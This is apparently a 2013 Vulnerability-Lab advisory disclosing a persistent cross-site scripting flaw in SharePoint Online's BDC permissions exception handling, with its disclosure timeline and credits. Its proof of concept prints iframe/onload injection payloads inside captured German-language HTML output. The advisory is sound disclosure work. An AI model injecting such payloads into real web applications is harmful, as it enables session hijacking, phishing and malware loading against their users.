Title: ====== Microsoft SharePoint (Cloud) - Persistent Exception-Handling Web Vulnerability Date: ===== 2013-06-14 References: =========== http://www.vulnerability-lab.com/get_content.php?id=812 Microsoft Security Response Center (MSRC) ID: 14096 Microsoft Security Response Center (MSRC) MANAGER: JT MSRC Security Bulletin Acknowledgment: June VL-ID: ===== 812 Common Vulnerability Scoring System: ==================================== 5.7 Introduction: ============= Microsoft SharePoint is a Web application platform developed by Microsoft. First launched in 2001, SharePoint has historically been associated with intranet content management and document management, but recent versions have significantly broader capabilities. Microsoft has two versions of SharePoint available at no cost, but it sells premium editions with additional functionality, and provides a cloud service edition as part of their Office 365 platform (previously BPOS). The product is also sold through a cloud model by many third-party vendors. SharePoint comprises a multipurpose set of Web technologies backed by a common technical infrastructure. By default, SharePoint has a Microsoft Office-like interface, and it is closely integrated with the Office suite. The web tools are designed to be usable by non- technical users. SharePoint can be used to provide intranet portals, document & file management, collaboration, social networks, extranets, websites, enterprise search, and business intelligence. It also has system integration, process integration, and workflow automation capabilities. Enterprise application software (e.g. ERP or CRM packages) often provide some SharePoint integration capability, and SharePoint also incorporates a complete development stack based on web technologies and standards-based APIs. As an application platform, SharePoint provides central management, governance, and security controls for implementation of these requirements. The SharePoint platform integrates directly into IIS - enabling bulk management, scaling, and provisioning of servers, as is often required by large organizations or cloud hosting providers. In 2008, the Gartner Group put SharePoint in the`leaders` quadrant in three of its Magic Quadrants (for search, portals, and enterprise content management). SharePoint is used by 78% of Fortune 500 companies[citation needed]. Between 2006 to 2011, Microsoft sold over 36.5 million user licenses[citation needed]. (Copy of the Homepage: http://en.wikipedia.org/wiki/Microsoft_SharePoint ) Abstract: ========= The Vulnerability Laboratory Research Team discovered a persistent web vulnerability in the official Microsoft Sharepoint Online (cloud-based) application. Report-Timeline: ================ 2013-02-01: Researcher Notification & Coordination 2013-02-06: Vendor Notification (Microsoft Security Response Center - MSRC) 2013-02-07: Vendor Response/Feedback (Microsoft Security Response Center - MSRC) 2013-06-10: Vendor Fix/Patch (Microsoft Development Team) 2013-06-14: Public Disclosure (Vulnerability Laboratory) Status: ======== Published Affected Products: ================== Microsoft Corp. Product: Sharepoint Online (Cloud-Based) - Office 365 Exploitation-Technique: ======================= Remote Severity: ========= High Details: ======== A persistent input validation vulnerability is detected in the official Microsoft Sharepoint Online (cloud-based) application. The vulnerability allows remote attackers to inject own malicious script code in the vulnerable module on application side (persistent). The vulnerability is located in the `Sharepoint Online Cloud Service` section when processing to request via the `Berechtigungen f&#195;&#188;r den Metadatenspeicher festlegen` module the bound vulnerable ms-descriptionText > ctl00_PlaceHolderDialogBodySection_PlaceHolderDialogBody MainSection_ValSummary application parameter. The persistent injected script code will be executed directly out of the `invalid BDC &#195;bereinstimmung` web application exception-handling. The vulnerability can be exploited with a low (restricted) privilege application user account and low or medium required user interaction. Successful exploitation of the vulnerability result in persistent session hijacking, persistent phishing, stable external redirect, stable external malware loads and persistent vulnerable module context manipulation. Vulnerable Service(s): [+] Microsoft - Sharepoint Online (cloud-based) Vulnerable Module(s): [+] Berechtigungen f&#195;&#188;r den Metadatenspeicher festlegen - BDC Metadatenspeicher zuweisen Vulnerable Parameter(s): [+] ms-descriptionText > ctl00_PlaceHolderDialogBodySection_PlaceHolderDialogBodyMainSection_ValSummary Affected Module(s): [+] BDC &#195;bereinstimmung > Exception Handling Proof of Concept: ================= The persistent input validation web vulnerability can be exploited by remote attackers with low required user interaction and low privileged sharepoint cloud application user account. For demonstration or reproduce ... Review: Berechtigungen den Metadatenspeicher festlegen - Summery > BDC &#195;bereinstimmung > Exception <table class="propertysheet" border="0" cellpadding="0" cellspacing="0" width="100%"> <tbody><tr> <td class="ms-descriptionText"> <span id="ctl00_PlaceHolderDialogBodySection_PlaceHolderDialogBodyMainSection_LabelMessage" class="ms-descriptionText"></span> </td> </tr> <tr> <td class="ms-error"><span id="ctl00_PlaceHolderDialogBodySection_PlaceHolderDialogBodyMainSection_LabelErrorMessage"> Fehler beim Versuch, 'IMetadataCatalog' eine Zugriffssteuerungsliste mit dem Namen 'ApplicationRegistry' zuzuweisen. Mindestens ein Benutzer oder eine Gruppe in der Zugriffssteuerungsliste muss &#195;&#188;ber das Recht 'SetPermissions' verf&#195;&#188;gen, um das Erstellen eines nicht verwaltbaren Objekts zu verhindern.</span></td> </tr> <tr> <td class="ms-descriptionText"> <div id="ctl00_PlaceHolderDialogBodySection_PlaceHolderDialogBodyMainSection_ValSummary" style="color:Red;">Mindestens ein Fehler auf der Seite. Beheben Sie Folgendes, bevor Sie fortfahren:<ul><li>Es wurde keine exakte &#195;bereinstimmung f&#195;&#188;r <iframe src="TA_ManageBDCPermissions_data/a.txt">%20%20%20%20"><iframe src=http://www.vulnerability-lab.com onload=alert("VL") <<iframe src=a>%20%20%20%20"><iframe src=http://www.vulnerability-lab.com onload=alert("VL") < gefunden.</li></ul> </div> </td> </tr> </table> <table border="0" cellspacing="0" cellpadding="0" width="100%" class="ms-authoringcontrols"> <tr> <td> ---------- <table class="propertysheet" border="0" cellpadding="0" cellspacing="0" width="100%"> <tbody><tr> <td class="ms-descriptionText"> <span id="ctl00_PlaceHolderDialogBodySection_PlaceHolderDialogBodyMainSection_LabelMessage" class="ms-descriptionText"></span> </td> </tr> <tr> <td class="ms-error"><span id="ctl00_PlaceHolderDialogBodySection_PlaceHolderDialogBodyMainSection_LabelErrorMessage"> Fehler beim Versuch, 'IMetadataCatalog' eine Zugriffssteuerungsliste mit dem Namen 'ApplicationRegistry' zuzuweisen. Mindestens ein Benutzer oder eine Gruppe in der Zugriffssteuerungsliste muss &#195;&#188;ber das Recht 'SetPermissions' verf&#195;&#188;gen, um das Erstellen eines nicht verwaltbaren Objekts zu verhindern.</span></td> </tr> <tr> <td class="ms-descriptionText"> <div id="ctl00_PlaceHolderDialogBodySection_PlaceHolderDialogBodyMainSection_ValSummary" style="color:Red;">Mindestens ein Fehler auf der Seite. Beheben Sie Folgendes, bevor Sie fortfahren:<ul><li>Es wurde keine exakte &#195;bereinstimmung f&#195;&#188;r <iframe src="TA_ManageBDCPermissions_data/a.txt">%20%20%20%20"><[PERSISTENT INJECTED SCRIPT CODE!]) <<[PERSISTENT INJECTED SCRIPT CODE!]> %20[PERSISTENT INJECTED SCRIPT CODE!]) < gefunden.</li></ul> </div> </td> </tr> </table> <table border="0" cellspacing="0" cellpadding="0" width="100%" class="ms-authoringcontrols"> <tr> <td> --- Exception Handling (DE) --- Sie knnen Administratoren des BDC-Metadatenspeichers zuweisen, indem Sie unten Berechtigungen festlegen. Fehler beim Versuch, 'IMetadataCatalog' eine Zugriffssteuerungsliste mit dem Namen 'ApplicationRegistry' zuzuweisen. Mindestens ein Benutzer oder eine Gruppe in der Zugriffssteuerungsliste muss &#195;&#188;ber das Recht 'SetPermissions' verfgen, um das Erstellen eines nicht verwaltbaren Objekts zu verhindern. Mindestens ein Fehler auf der Seite. Beheben Sie Folgendes, bevor Sie fortfahren: Es wurde keine exakte bereinstimmung fr ... [Injected Context] ... gefunden/festgestellt. Sie konnen Administratoren des BDC-Metadatenspeichers zuweisen, indem Sie unten Berechtigungen festlegen --- Note: (US) After youe added your domain name to Office 365 to use with SharePoint Online and Lync Online, you can create email addresses, Lync Online accounts, and distribution groups that use your custom domain name. You can also use your domain name for a public website hosted on SharePoint Online but there are Use SharePoint Online on a custom domain together with other services. Reference(s): https://benjamin23-admin.sharepoint.com/default.aspx https://benjamin23-admin.sharepoint.com/_layouts/bdc/TA_ViewBDCApplication.aspx Risk: ===== The security risk of the of the persistent input validation vulnerability is estimated as high(-) because of the location in the core exception-handling. Credits: ======== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com) Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. 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